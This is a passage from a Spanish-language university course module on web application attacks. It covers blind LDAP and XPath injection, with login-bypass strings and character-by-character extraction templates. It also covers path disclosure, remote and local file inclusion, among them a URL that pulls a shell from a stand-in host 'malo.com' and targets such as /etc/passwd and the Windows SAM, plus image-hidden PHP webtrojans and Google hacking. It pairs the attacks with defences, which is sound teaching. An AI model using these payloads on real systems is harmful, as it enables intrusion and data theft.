(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

